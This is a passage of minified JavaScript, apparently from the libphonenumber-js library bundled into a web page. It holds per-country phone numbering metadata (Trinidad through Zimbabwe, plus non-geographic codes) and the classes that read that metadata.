$3\",[\"80\"],\"0$1\",1]],\"0\"],TT:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-46-8]\\\\d{6})$|1\",\"868$1\",0,\"868\"],TV:[\"688\",\"00\",\"(?:2|7\\\\d\\\\d|90)\\\\d{4}\",[5,6,7],[[\"(\\\\d{2})(\\\\d{3})\",\"$1 $2\",[\"2\"]],[\"(\\\\d{2})(\\\\d{4})\",\"$1 $2\",[\"90\"]],[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"7\"]]]],TW:[\"886\",\"0(?:0[25-79]|19)\",\"[2-689]\\\\d{8}|7\\\\d{9,10}|[2-8]\\\\d{7}|2\\\\d{6}\",[7,8,9,10,11],[[\"(\\\\d{2})(\\\\d)(\\\\d{4})\",\"$1 $2 $3\",[\"202\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[258]0\"],\"0$1\"],[\"(\\\\d)(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"[23568]|4(?:0[02-48]|[1-47-9])|7[1-9]\",\"[23568]|4(?:0[2-48]|[1-47-9])|(?:400|7)[1-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[49]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4,5})\",\"$1 $2 $3\",[\"7\"],\"0$1\"]],\"0\",0,0,0,0,0,0,0,\"#\"],TZ:[\"255\",\"00[056]\",\"(?:[25-8]\\\\d|41|90)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[24]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"5\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[67]\"],\"0$1\"]],\"0\"],UA:[\"380\",\"00\",\"[89]\\\\d{9}|[3-9]\\\\d{8}\",[9,10],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"6[12][29]|(?:3[1-8]|4[136-8]|5[12457]|6[49])2|(?:56|65)[24]\",\"6[12][29]|(?:35|4[1378]|5[12457]|6[49])2|(?:56|65)[24]|(?:3[1-46-8]|46)2[013-9]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{5})\",\"$1 $2\",[\"3[1-8]|4(?:[1367]|[45][6-9]|8[4-6])|5(?:[1-5]|6[0135689]|7[4-6])|6(?:[12][3-7]|[459])\",\"3[1-8]|4(?:[1367]|[45][6-9]|8[4-6])|5(?:[1-5]|6(?:[015689]|3[02389])|7[4-6])|6(?:[12][3-7]|[459])\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[3-7]|89|9[1-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"]],\"0\",0,0,0,0,0,0,\"0~0\"],UG:[\"256\",\"00[057]\",\"800\\\\d{6}|(?:[29]0|[347]\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{4})(\\\\d{5})\",\"$1 $2\",[\"202\",\"2024\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{6})\",\"$1 $2\",[\"[27-9]|4(?:6[45]|[7-9])\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"[34]\"],\"0$1\"]],\"0\"],US:[\"1\",\"011\",\"[2-9]\\\\d{9}|3\\\\d{6}\",[10],[[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"310\"],0,1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"($1) $2-$3\",[\"[2-9]\"],0,1,\"$1-$2-$3\"]],\"1\",0,0,0,0,0,[[\"(?:5056(?:[0-35-9]\\\\d|4[468])|73020\\\\d)\\\\d{4}|(?:4722|505[2-57-9]|983[289])\\\\d{6}|(?:2(?:0[1-35-9]|1[02-9]|2[03-57-9]|3[149]|4[08]|5[1-46]|6[0279]|7[0269]|8[13])|3(?:0[1-57-9]|1[02-9]|2[013569]|3[0-24679]|4[167]|5[0-2]|6[0149]|8[056])|4(?:0[124-9]|1[02-579]|2[3-5]|3[0245]|4[023578]|58|6[349]|7[0589]|8[04])|5(?:0[1-47-9]|1[0235-8]|20|3[0149]|4[01]|5[179]|6[1-47]|7[0-5]|8[0256])|6(?:0[1-35-9]|1[024-9]|2[03689]|[34][016]|5[01679]|6[0-279]|78|8[0-29])|7(?:0[1-46-8]|1[2-9]|2[04-7]|3[1247]|4[037]|5[47]|6[02359]|7[0-59]|8[156])|8(?:0[1-68]|1[02-8]|2[068]|3[0-2589]|4[03578]|5[046-9]|6[02-5]|7[028])|9(?:0[1346-9]|1[02-9]|2[0589]|3[0146-8]|4[01357-9]|5[12469]|7[0-389]|8[04-69]))[2-9]\\\\d{6}\"],[\"\"],[\"8(?:00|33|44|55|66|77|88)[2-9]\\\\d{6}\"],[\"900[2-9]\\\\d{6}\"],[\"52(?:3(?:[2-46-9][02-9]\\\\d|5(?:[02-46-9]\\\\d|5[0-46-9]))|4(?:[2-478][02-9]\\\\d|5(?:[034]\\\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\\\d)|9(?:[05-9]\\\\d|2[0-5]|49)))\\\\d{4}|52[34][2-9]1[02-9]\\\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\\\d{6}\"]]],UY:[\"598\",\"0(?:0|1[3-9]\\\\d)\",\"0004\\\\d{2,9}|[1249]\\\\d{7}|(?:[49]\\\\d|80)\\\\d{5}\",[6,7,8,9,10,11,12,13],[[\"(\\\\d{3})(\\\\d{3,4})\",\"$1 $2\",[\"0\"]],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[49]0|8\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"9\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[124]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2,4})\",\"$1 $2 $3\",[\"0\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})(\\\\d{2,4})\",\"$1 $2 $3 $4\",[\"0\"]]],\"0\",0,0,0,0,0,0,\"00\",\" int. \"],UZ:[\"998\",\"810\",\"(?:20|33|[5-79]\\\\d|88)\\\\d{7}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[235-9]\"],\"8 $1\"]],\"8\",0,0,0,0,0,0,\"8~10\"],VA:[\"39\",\"00\",\"0\\\\d{5,10}|3[0-8]\\\\d{7,10}|55\\\\d{8}|8\\\\d{5}(?:\\\\d{2,4})?|(?:1\\\\d|39)\\\\d{7,8}\",[6,7,8,9,10,11],0,0,0,0,0,0,\"06698\"],VC:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|784|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-7]\\\\d{6})$|1\",\"784$1\",0,\"784\"],VE:[\"58\",\"00\",\"[68]00\\\\d{7}|(?:[24]\\\\d|[59]0)\\\\d{8}\",[10],[[\"(\\\\d{3})(\\\\d{7})\",\"$1-$2\",[\"[24-689]\"],\"0$1\"]],\"0\"],VG:[\"1\",\"011\",\"(?:284|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-578]\\\\d{6})$|1\",\"284$1\",0,\"284\"],VI:[\"1\",\"011\",\"[58]\\\\d{9}|(?:34|90)0\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"340$1\",0,\"340\"],VN:[\"84\",\"00\",\"[12]\\\\d{9}|[135-9]\\\\d{8}|[16]\\\\d{7}|[16-8]\\\\d{6}\",[7,8,9,10],[[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"80\"],\"0$1\",1],[\"(\\\\d{4})(\\\\d{4,6})\",\"$1 $2\",[\"1\"],0,1],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"6\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[357-9]\"],\"0$1\",1],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"2[48]\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{4})(\\\\d{3})\",\"$1 $2 $3\",[\"2\"],\"0$1\",1]],\"0\"],VU:[\"678\",\"00\",\"[57-9]\\\\d{6}|(?:[238]\\\\d|48)\\\\d{3}\",[5,7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[57-9]\"]]]],WF:[\"681\",\"00\",\"(?:40|72)\\\\d{4}|8\\\\d{5}(?:\\\\d{3})?\",[6,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"[478]\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"]]]],WS:[\"685\",\"0\",\"(?:[2-6]|8\\\\d{5})\\\\d{4}|[78]\\\\d{6}|[68]\\\\d{5}\",[5,6,7,10],[[\"(\\\\d{5})\",\"$1\",[\"[2-5]|6[1-9]\"]],[\"(\\\\d{3})(\\\\d{3,7})\",\"$1 $2\",[\"[68]\"]],[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"7\"]]]],XK:[\"383\",\"00\",\"[23]\\\\d{7,8}|(?:4\\\\d\\\\d|[89]00)\\\\d{5}\",[8,9],[[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[89]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2-4]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[23]\"],\"0$1\"]],\"0\"],YE:[\"967\",\"00\",\"(?:1|7\\\\d)\\\\d{7}|[1-7]\\\\d{6}\",[7,8,9],[[\"(\\\\d)(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[1-6]|7(?:[24-6]|8[0-7])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"7\"],\"0$1\"]],\"0\"],YT:[\"262\",\"00\",\"(?:80|9\\\\d)\\\\d{7}|(?:26|63)9\\\\d{6}\",[9],0,\"0\",0,0,0,0,0,[[\"269(?:0[0-467]|5[0-4]|6\\\\d|[78]0)\\\\d{4}\"],[\"639(?:0[0-79]|1[019]|[267]\\\\d|3[09]|40|5[05-9]|9[04-79])\\\\d{4}\"],[\"80\\\\d{7}\"],0,0,0,0,0,[\"9(?:(?:39|47)8[01]|769\\\\d)\\\\d{4}\"]]],ZA:[\"27\",\"00\",\"[1-79]\\\\d{8}|8\\\\d{4,9}\",[5,6,7,8,9,10],[[\"(\\\\d{2})(\\\\d{3,4})\",\"$1 $2\",[\"8[1-4]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2,3})\",\"$1 $2 $3\",[\"8[1-4]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"860\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[1-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"],\"0$1\"]],\"0\"],ZM:[\"260\",\"00\",\"800\\\\d{6}|(?:21|63|[79]\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[28]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"[79]\"],\"0$1\"]],\"0\"],ZW:[\"263\",\"00\",\"2(?:[0-57-9]\\\\d{6,8}|6[0-24-9]\\\\d{6,7})|[38]\\\\d{9}|[35-8]\\\\d{8}|[3-6]\\\\d{7}|[1-689]\\\\d{6}|[1-3569]\\\\d{5}|[1356]\\\\d{4}\",[5,6,7,8,9,10],[[\"(\\\\d{3})(\\\\d{3,5})\",\"$1 $2\",[\"2(?:0[45]|2[278]|[49]8)|3(?:[09]8|17)|6(?:[29]8|37|75)|[23][78]|(?:33|5[15]|6[68])[78]\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{2,4})\",\"$1 $2 $3\",[\"[49]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"80\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"24|8[13-59]|(?:2[05-79]|39|5[45]|6[15-8])2\",\"2(?:02[014]|4|[56]20|[79]2)|392|5(?:42|525)|6(?:[16-8]21|52[013])|8[13-59]\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"2(?:1[39]|2[0157]|[378]|[56][14])|3(?:12|29)\",\"2(?:1[39]|2[0157]|[378]|[56][14])|3(?:123|29)\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{6})\",\"$1 $2\",[\"8\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3,5})\",\"$1 $2\",[\"1|2(?:0[0-36-9]|12|29|[56])|3(?:1[0-689]|[24-6])|5(?:[0236-9]|1[2-4])|6(?:[013-59]|7[0-46-9])|(?:33|55|6[68])[0-69]|(?:29|3[09]|62)[0-79]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"29[013-9]|39|54\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3,5})\",\"$1 $2\",[\"(?:25|54)8\",\"258|5483\"],\"0$1\"]],\"0\"]},nonGeographic:{800:[\"800\",0,\"(?:00|[1-9]\\\\d)\\\\d{6}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"\\\\d\"]]],0,0,0,0,0,0,[0,0,[\"(?:00|[1-9]\\\\d)\\\\d{6}\"]]],808:[\"808\",0,\"[1-9]\\\\d{7}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[1-9]\"]]],0,0,0,0,0,0,[0,0,0,0,0,0,0,0,0,[\"[1-9]\\\\d{7}\"]]],870:[\"870\",0,\"7\\\\d{11}|[35-7]\\\\d{8}\",[9,12],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[35-7]\"]]],0,0,0,0,0,0,[0,[\"(?:[356]|774[45])\\\\d{8}|7[6-8]\\\\d{7}\"]]],878:[\"878\",0,\"10\\\\d{10}\",[12],[[\"(\\\\d{2})(\\\\d{5})(\\\\d{5})\",\"$1 $2 $3\",[\"1\"]]],0,0,0,0,0,0,[0,0,0,0,0,0,0,0,[\"10\\\\d{10}\"]]],881:[\"881\",0,\"6\\\\d{9}|[0-36-9]\\\\d{8}\",[9,10],[[\"(\\\\d)(\\\\d{3})(\\\\d{5})\",\"$1 $2 $3\",[\"[0-37-9]\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{5,6})\",\"$1 $2 $3\",[\"6\"]]],0,0,0,0,0,0,[0,[\"6\\\\d{9}|[0-36-9]\\\\d{8}\"]]],882:[\"882\",0,\"[13]\\\\d{6}(?:\\\\d{2,5})?|[19]\\\\d{7}|(?:[25]\\\\d\\\\d|4)\\\\d{7}(?:\\\\d{2})?\",[7,8,9,10,11,12],[[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"16|342\"]],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"49\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"1[36]|9\"]],[\"(\\\\d{2})(\\\\d{4})(\\\\d{3})\",\"$1 $2 $3\",[\"3[23]\"]],[\"(\\\\d{2})(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"16\"]],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"10|23|3(?:[15]|4[57])|4|51\"]],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"34\"]],[\"(\\\\d{2})(\\\\d{4,5})(\\\\d{5})\",\"$1 $2 $3\",[\"[1-35]\"]]],0,0,0,0,0,0,[0,[\"342\\\\d{4}|(?:337|49)\\\\d{6}|(?:3(?:2|47|7\\\\d{3})|50\\\\d{3})\\\\d{7}\",[7,8,9,10,12]],0,0,0,0,0,0,[\"1(?:3(?:0[0347]|[13][0139]|2[035]|4[013568]|6[0459]|7[06]|8[15-8]|9[0689])\\\\d{4}|6\\\\d{5,10})|(?:345\\\\d|9[89])\\\\d{6}|(?:10|2(?:3|85\\\\d)|3(?:[15]|[69]\\\\d\\\\d)|4[15-8]|51)\\\\d{8}\"]]],883:[\"883\",0,\"(?:[1-4]\\\\d|51)\\\\d{6,10}\",[8,9,10,11,12],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{2,8})\",\"$1 $2 $3\",[\"[14]|2[24-689]|3[02-689]|51[24-9]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"510\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"21\"]],[\"(\\\\d{4})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"51[13]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"[235]\"]]],0,0,0,0,0,0,[0,0,0,0,0,0,0,0,[\"(?:2(?:00\\\\d\\\\d|10)|(?:370[1-9]|51\\\\d0)\\\\d)\\\\d{7}|51(?:00\\\\d{5}|[24-9]0\\\\d{4,7})|(?:1[0-79]|2[24-689]|3[02-689]|4[0-4])0\\\\d{5,9}\"]]],888:[\"888\",0,\"\\\\d{11}\",[11],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{5})\",\"$1 $2 $3\"]],0,0,0,0,0,0,[0,0,0,0,0,0,[\"\\\\d{11}\"]]],979:[\"979\",0,\"[1359]\\\\d{8}\",[9],[[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[1359]\"]]],0,0,0,0,0,0,[0,0,0,[\"[1359]\\\\d{8}\"]]]}};function h(e,t){var n=Array.prototype.slice.call(t);return n.push(p),e.apply(this,n)}function v(e){return v=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e},v(e)}function m(e,t){for(var n=0;n\u003Ct.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,\"value\"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function g(e,t,n){return t&&m(e.prototype,t),n&&m(e,n),Object.defineProperty(e,\"prototype\",{writable:!1}),e}function y(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function b(e,t){if(\"function\"!=typeof t&&null!==t)throw new TypeError(\"Super expression must either be null or a function\");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,\"prototype\",{writable:!1}),t&&E(e,t)}function $(e){var t=x();return function(){var n,r=T(e);if(t){var a=T(this).constructor;n=Reflect.construct(r,arguments,a)}else n=r.apply(this,arguments);return w(this,n)}}function w(e,t){if(t&&(\"object\"===v(t)||\"function\"==typeof t))return t;if(void 0!==t)throw new TypeError(\"Derived constructors may only return object or undefined\");return _(e)}function _(e){if(void 0===e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return e}function k(e){var t=\"function\"==typeof Map?new Map:void 0;return k=function(e){if(null===e||!S(e))return e;if(\"function\"!=typeof e)throw new TypeError(\"Super expression must either be null or a function\");if(typeof t\u003C\"u\"){if(t.has(e))return t.get(e);t.set(e,n)}function n(){return C(e,arguments,T(this).constructor)}return n.prototype=Object.create(e.prototype,{constructor:{value:n,enumerable:!1,writable:!0,configurable:!0}}),E(n,e)},k(e)}function C(e,t,n){return C=x()?Reflect.construct:function(e,t,n){var r=[null];r.push.apply(r,t);var a=Function.bind.apply(e,r),o=new a;return n&&E(o,n.prototype),o},C.apply(null,arguments)}function x(){if(typeof Reflect>\"u\"||!Reflect.construct||Reflect.construct.sham)return!1;if(\"function\"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch{return!1}}function S(e){return-1!==Function.toString.call(e).indexOf(\"[native code]\")}function E(e,t){return E=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},E(e,t)}function T(e){return T=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)},T(e)}var R=function(e){b(n,e);var t=$(n);function n(e){var r;return y(this,n),r=t.call(this,e),Object.setPrototypeOf(_(r),n.prototype),r.name=r.constructor.name,r}return g(n)}(k(Error)),O=2,M=17,A=3,D=\"0-9０-９٠-٩۰-۹\",B=\"-‐-―−ー－\",W=\"／\u002F\",P=\"．.\",I=\"  ­​⁠　\",N=\"()（）［］\\\\[\\\\]\",L=\"~⁓∼～\",j=\"\".concat(B).concat(W).concat(P).concat(I).concat(N).concat(L),F=\"+＋\";function V(e,t){e=e.split(\"-\"),t=t.split(\"-\");for(var n=e[0].split(\".\"),r=t[0].split(\".\"),a=0;a\u003C3;a++){var o=Number(n[a]),i=Number(r[a]);if(o>i)return 1;if(i>o)return-1;if(!isNaN(o)&&isNaN(i))return 1;if(isNaN(o)&&!isNaN(i))return-1}return e[1]&&t[1]?e[1]>t[1]?1:e[1]\u003Ct[1]?-1:0:!e[1]&&t[1]?1:e[1]&&!t[1]?-1:0}var U={}.constructor;function X(e){return null!=e&&e.constructor===U}function H(e){return H=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e},H(e)}function G(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function Y(e,t){for(var n=0;n\u003Ct.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,\"value\"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function z(e,t,n){return t&&Y(e.prototype,t),n&&Y(e,n),Object.defineProperty(e,\"prototype\",{writable:!1}),e}var K=\"1.2.0\",q=\"1.7.35\",Q=\" ext. \",Z=\u002F^\\d+$\u002F,J=function(){function e(t){G(this,e),oe(t),this.metadata=t,ue.call(this,t)}return z(e,[{key:\"getCountries\",value:function(){return Object.keys(this.metadata.countries).filter(function(e){return\"001\"!==e})}},{key:\"getCountryMetadata\",value:function(e){return this.metadata.countries[e]}},{key:\"nonGeographic\",value:function(){if(!(this.v1||this.v2||this.v3))return this.metadata.nonGeographic||this.metadata.nonGeographical}},{key:\"hasCountry\",value:function(e){return void 0!==this.getCountryMetadata(e)}},{key:\"hasCallingCode\",value:function(e){if(this.getCountryCodesForCallingCode(e))return!0;if(this.nonGeographic()){if(this.nonGeographic()[e])return!0}else{var t=this.countryCallingCodes()[e];if(t&&1===t.length&&\"001\"===t[0])return!0}}},{key:\"isNonGeographicCallingCode\",value:function(e){return this.nonGeographic()?!!this.nonGeographic()[e]:!this.getCountryCodesForCallingCode(e)}},{key:\"country\",value:function(e){return this.selectNumberingPlan(e)}},{key:\"selectNumberingPlan\",value:function(e,t){if(e&&Z.test(e)&&(t=e,e=null),e&&\"001\"!==e){if(!this.hasCountry(e))throw new Error(\"Unknown country: \".concat(e));this.numberingPlan=new ee(this.getCountryMetadata(e),this)}else if(t){if(!this.hasCallingCode(t))throw new Error(\"Unknown calling code: \".concat(t));this.numberingPlan=new ee(this.getNumberingPlanMetadata(t),this)}else this.numberingPlan=void 0;return this}},{key:\"getCountryCodesForCallingCode\",value:function(e){var t=this.countryCallingCodes()[e];if(t)return 1===t.length&&3===t[0].length?void 0:t}},{key:\"getCountryCodeForCallingCode\",value:function(e){var t=this.getCountryCodesForCallingCode(e);if(t)return t[0]}},{key:\"getNumberingPlanMetadata\",value:function(e){var t=this.getCountryCodeForCallingCode(e);if(t)return this.getCountryMetadata(t);if(this.nonGeographic()){var n=this.nonGeographic()[e];if(n)return n}else{var r=this.countryCallingCodes()[e];if(r&&1===r.length&&\"001\"===r[0])return this.metadata.countries[\"001\"]}}},{key:\"countryCallingCode\",value:function(){return this.numberingPlan.callingCode()}},{key:\"IDDPrefix\",value:function(){return this.numberingPlan.IDDPrefix()}},{key:\"defaultIDDPrefix\",value:function(){return this.numberingPlan.defaultIDDPrefix()}},{key:\"nationalNumberPattern\",value:function(){return this.numberingPlan.nationalNumberPattern()}},{key:\"possibleLengths\",value:function(){return this.numberingPlan.possibleLengths()}},{key:\"formats\",value:function(){return this.numberingPlan.formats()}},{key:\"nationalPrefixForParsing\",value:function(){return this.numberingPlan.nationalPrefixForParsing()}},{key:\"nationalPrefixTransformRule\",value:function(){return this.numberingPlan.nationalPrefixTransformRule()}},{key:\"leadingDigits\",value:function(){return this.numberingPlan.leadingDigits()}},{key:\"hasTypes\",value:function(){return this.numberingPlan.hasTypes()}},{key:\"type\",value:function(e){return this.numberingPlan.type(e)}},{key:\"ext\",value:function(){return this.numberingPlan.ext()}},{key:\"countryCallingCodes\",value:function(){return this.v1?this.metadata.country_phone_code_to_countries:this.metadata.country_calling_codes}},{key:\"chooseCountryByCountryCallingCode\",value:function(e){return this.selectNumberingPlan(e)}},{key:\"hasSelectedNumberingPlan\",value:function(){return void 0!==this.numberingPlan}}]),e}(),ee=function(){function e(t,n){G(this,e),this.globalMetadataObject=n,this.metadata=t,ue.call(this,n.metadata)}return z(e,[{key:\"callingCode\",value:function(){return this.metadata[0]}},{key:\"getDefaultCountryMetadataForRegion\",value:function(){return this.globalMetadataObject.getNumberingPlanMetadata(this.callingCode())}},{key:\"IDDPrefix\",value:function(){if(!this.v1&&!this.v2)return this.metadata[1]}},{key:\"defaultIDDPrefix\",value:function(){if(!this.v1&&!this.v2)return this.metadata[12]}},{key:\"nationalNumberPattern\",value:function(){return this.v1||this.v2?this.metadata[1]:this.metadata[2]}},{key:\"possibleLengths\",value:function(){if(!this.v1)return this.metadata[this.v2?2:3]}},{key:\"_getFormats\",value:function(e){return e[this.v1?2:this.v2?3:4]}},{key:\"formats\",value:function(){var e=this,t=this._getFormats(this.metadata)||this._getFormats(this.getDefaultCountryMetadataForRegion())||[];return t.map(function(t){return new te(t,e)})}},{key:\"nationalPrefix\",value:function(){return this.metadata[this.v1?3:this.v2?4:5]}},{key:\"_getNationalPrefixFormattingRule\",value:function(e){return e[this.v1?4:this.v2?5:6]}},{key:\"nationalPrefixFormattingRule\",value:function(){return this._getNationalPrefixFormattingRule(this.metadata)||this._getNationalPrefixFormattingRule(this.getDefaultCountryMetadataForRegion())}},{key:\"_nationalPrefixForParsing\",value:function(){return this.metadata[this.v1?5:this.v2?6:7]}},{key:\"nationalPrefixForParsing\",value:function(){return this._nationalPrefixForParsing()||this.nationalPrefix()}},{key:\"nationalPrefixTransformRule\",value:function(){return this.metadata[this.v1?6:this.v2?7:8]}},{key:\"_getNationalPrefixIsOptionalWhenFormatting\",value:function(){return!!this.metadata[this.v1?7:this.v2?8:9]}},{key:\"nationalPrefixIsOptionalWhenFormattingInNationalFormat\",value:function(){return this._getNationalPrefixIsOptionalWhenFormatting(this.metadata)||this._getNationalPrefixIsOptionalWhenFormatting(this.getDefaultCountryMetadataForRegion())}},{key:\"leadingDigits\",value:function(){return this.metadata[this.v1?8:this.v2?9:10]}},{key:\"types\",value:function(){return this.metadata[this.v1?9:this.v2?10:11]}},{key:\"hasTypes\",value:function(){return(!this.types()||0!==this.types().length)&&!!this.types()}},{key:\"type\",value:function(e){if(this.hasTypes()&&ae(this.types(),e))return new re(ae(this.types(),e),this)}},{key:\"ext\",value:function(){return this.v1||this.v2?Q:this.metadata[13]||Q}}]),e}(),te=function(){function e(t,n){G(this,e),this._format=t,this.metadata=n}return z(e,[{key:\"pattern\",value:function(){return this._format[0]}},{key:\"format\",value:function(){return this._format[1]}},{key:\"leadingDigitsPatterns\",value:function(){return this._format[2]||[]}},{key:\"nationalPrefixFormattingRule\",value:function(){return this._format[3]||this.metadata.nationalPrefixFormattingRule()}},{key:\"nationalPrefixIsOptionalWhenFormattingInNationalFormat\",value:function(){return!!this._format[4]||this.metadata.nationalPrefixIsOptionalWhenFormattingInNationalFormat()}},{key:\"nationalPrefixIsMandatoryWhenFormattingInNationalFormat\",value:function(){return this.usesNationalPrefix()&&!this.nationalPrefixIsOptionalWhenFormattingInNationalFormat()}},{key:\"usesNationalPrefix\",value:function(){return!(!this.nationalPrefixFormattingRule()||ne.test(this.nationalPrefixFormattingRule()))}},{key:\"internationalFormat\",value:function(){return this._format[5]||this.format()}}]),e}(),ne=\u002F^\\(?\\$1\\)?$\u002F,re=function(){function e(t,n){G(this,e),this.type=t,this.metadata=n}return 